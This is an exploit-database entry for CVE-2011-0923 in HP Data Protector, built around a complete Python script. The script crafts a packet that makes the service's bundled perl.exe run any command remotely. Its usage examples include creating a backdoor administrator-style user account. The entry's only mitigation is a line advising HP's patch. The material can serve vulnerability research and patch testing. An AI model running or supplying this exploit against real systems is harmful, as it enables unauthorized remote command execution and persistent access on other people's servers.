header-logo
Suggest Exploit
vendor:
HP Data Protector
by:
Alessandro Di Pinto, Claudio Moletta
5.5
CVSS
MEDIUM
Arbitrary Remote Command Execution
78
CWE
Product Name: HP Data Protector
Affected Version From: A.06.20
Affected Version To:
Patch Exists: YES
Related CWE: CVE-2011-0923
CPE: a:hp:data_protector:a.06.20
Other Scripts:
Platforms Tested: Microsoft Windows
2011

HP Data Protector Arbitrary Remote Command Execution

This script allows to execute a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory {install_path}/bin/. The main goal of the script is to bypass the limitation of executing only a single command without any parameter, as provided by already existing exploits. As shown below, it's possible to exploit the security issue in order to run any command inside the target system.

Mitigation:

Apply the patch provided by HP.
Source

Exploit-DB raw data:

"""
HP Data Protector Arbitrary Remote Command Execution

This script allows to execute a command with an arbitrary number of
arguments. The trick calls 'perl.exe' interpreter installed with HP Data
Protector inside the directory {install_path}/bin/.

The main goal of the script is to bypass the limitation of executing only a
single command without any parameter, as provided by already existing
exploits. As shown below, it's possible to exploit the security issue in order
to run any command inside the target system.

Target OS:
  Microsoft Windows

Tested Version:
  HP Data Protector A.06.20

Usage: 
  exploit.py <target> <port> <command>

Example: 
  exploit.py 192.168.1.1 5555 'dir c:\'
  exploit.py 192.168.1.1 5555 'ipconfig /all'
  exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'

Authors: 
  Alessandro Di Pinto ( alessandro.dipinto () artificialstudios org )
  Claudio Moletta     ( mclaudio () gmail com )

Reference:
  http://www.zerodayinitiative.com/advisories/ZDI-11-055/
  http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0923
  http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
"""

import socket
import struct
import sys

def usage():
    print >> sys.stderr, "Usage: %s <target> <port> <command>" % sys.argv[0]
    exit(-1)

def exploit(host, port, command):
    # Try to connect
    print >> sys.stderr, "[*] Connecting to target '%s:%s'..." % (host, port)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((host, int(port)))
    except Exception as ex:
        print >> sys.stderr, "[!] Socket error: \n\t%s" % ex
        exit(-3)
    else:
        print >> sys.stderr, "[*] Connected to the target."
    
    # Connected, build the malicious payload
    OFFSET = 46
    command = command.replace("\\", "\\\\")
    command_size = chr(OFFSET + len(command))
    CRAFTED_PKT = "\x00\x00\x00" + \
                  command_size   + \
                  "\x32\x00\x01" + \
                  "\x01\x01\x01" + \
                  "\x01\x01\x00" + \
                  "\x01\x00\x01" + \
                  "\x00\x01\x00" + \
                  "\x01\x01\x00" + \
                  "\x2028\x00"   + \
                  "\\perl.exe"   + \
                  "\x00 -esystem('%s')\x00" % command
    
    # Send payload to target
    print >> sys.stderr, "[*] Sending payload '%s'" % command
    sock.sendall(CRAFTED_PKT)
    
    # Parse the response back
    print >> sys.stderr, "[*] Output:"
    while True:
        # Get information about response
        response_size = sock.recv(4)
        if not response_size: break
        n = struct.unpack(">I", response_size)[0]

        # Get command results
        # code  = response[:5]
        # data  = response[5:]
        response = sock.recv(n)

        # Clean and parse results
        response = response[5:].strip()
        response = response.replace("\n", "")
        response = response.replace("\x00", "")
        # Check for the end-of-message
        if response.upper().find("*RETVAL*") != -1:
            break
        print response

    # Close connection
    sock.close()

if __name__ == "__main__":
    # Get command-line
    argc = len(sys.argv)
    if argc < 4:
        usage()
    host = sys.argv[1]
    port = sys.argv[2]
    cmd  = sys.argv[3]
    if port.isdigit():
        port = int(port)
    else:
        print >> sys.stderr, "[!] Error, invalid port value"
        exit(-2)

    # Send malicious payload
    exploit(host, port, cmd)
    exit(0)